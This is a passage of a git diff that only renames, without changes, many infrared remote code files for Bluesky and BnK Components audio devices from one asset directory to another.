b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,79.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,79.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,79.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,79.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/11,79.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/11,79.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/11,79.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/11,79.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/123,72.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/123,72.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/123,72.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/123,72.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/139,71.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/139,71.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/139,71.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/139,71.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/187,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/187,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/187,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/187,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/203,67.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/203,67.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/203,67.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/203,67.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/219,66.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/219,66.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/219,66.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/219,66.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/242,208.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/242,208.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/242,208.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/242,208.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/243,192.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/243,192.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/243,192.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/243,192.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/251,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/251,64.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/251,64.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/251,64.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/27,78.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/27,78.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/27,78.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/27,78.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/43,77.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/43,77.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/43,77.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/43,77.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/59,76.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/59,76.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/59,76.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/59,76.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/75,75.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/75,75.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/75,75.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/75,75.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/91,74.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/91,74.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/91,74.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/91,74.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/103,137.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/103,137.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/103,137.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/103,137.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/108,57.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/108,57.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/108,57.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/108,57.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/111,9.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/111,9.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/111,9.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/111,9.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/119,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/119,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/119,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/119,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/123,72.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/123,72.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/123,72.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/123,72.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/127,8.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/127,8.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/127,8.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/127,8.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/128,247.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/128,247.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/128,247.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/128,247.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/135,135.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/135,135.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/135,135.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/135,135.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/143,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/143,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/143,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/143,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/15,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/15,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/15,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/15,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/159,6.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/159,6.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/159,6.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/159,6.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/167,133.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/167,133.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/167,133.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/167,133.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/172,53.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/172,53.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/172,53.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/172,53.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/183,132.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/183,132.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/183,132.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/183,132.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/187,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/187,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/187,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/187,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/192,243.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/192,243.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/192,243.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/192,243.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/199,131.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/199,131.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/199,131.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/199,131.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/204,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/204,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/204,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/204,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/219,66.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/219,66.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/219,66.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/219,66.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/223,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/223,2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/223,2.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/223,2.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/23,142.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/23,142.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/23,142.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/23,142.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/239,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/239,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/239,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/239,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/242,208.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/242,208.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/242,208.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/242,208.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/243,192.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/243,192.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/243,192.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/243,192.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/247,128.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/247,128.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/247,128.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/247,128.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/251,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/251,64.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/251,64.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/251,64.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/255,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/255,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/255,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/255,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/31,14.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/31,14.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/31,14.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/31,14.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/39,141.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/39,141.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/39,141.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/39,141.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/44,61.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/44,61.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/44,61.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/44,61.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/55,140.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/55,140.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/55,140.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/55,140.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/59,76.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/59,76.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/59,76.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/59,76.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/63,12.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/63,12.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/63,12.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/63,12.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/64,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/64,251.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/64,251.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/64,251.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/7,143.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/7,143.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/7,143.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/7,143.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/71,139.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/71,139.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/71,139.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/71,139.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/76,59.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/76,59.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/76,59.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/76,59.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/79,11.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/79,11.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/79,11.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/79,11.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/91,74.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/91,74.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/91,74.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/91,74.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/95,10.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/95,10.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/95,10.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/95,10.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/103,137.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/103,137.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/103,137.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/103,137.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/119,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/119,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/119,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/119,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/123,72.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/123,72.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/123,72.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/123,72.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/135,135.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/135,135.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/135,135.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/135,135.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/143,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/143,7.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/143,7.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/143,7.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/15,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/15,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/15,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/15,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/151,134.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/151,134.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/151,134.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/151,134.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/167,133.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/167,133.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/167,133.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/167,133.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/183,132.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/183,132.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/183,132.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/183,132.ir diff --git 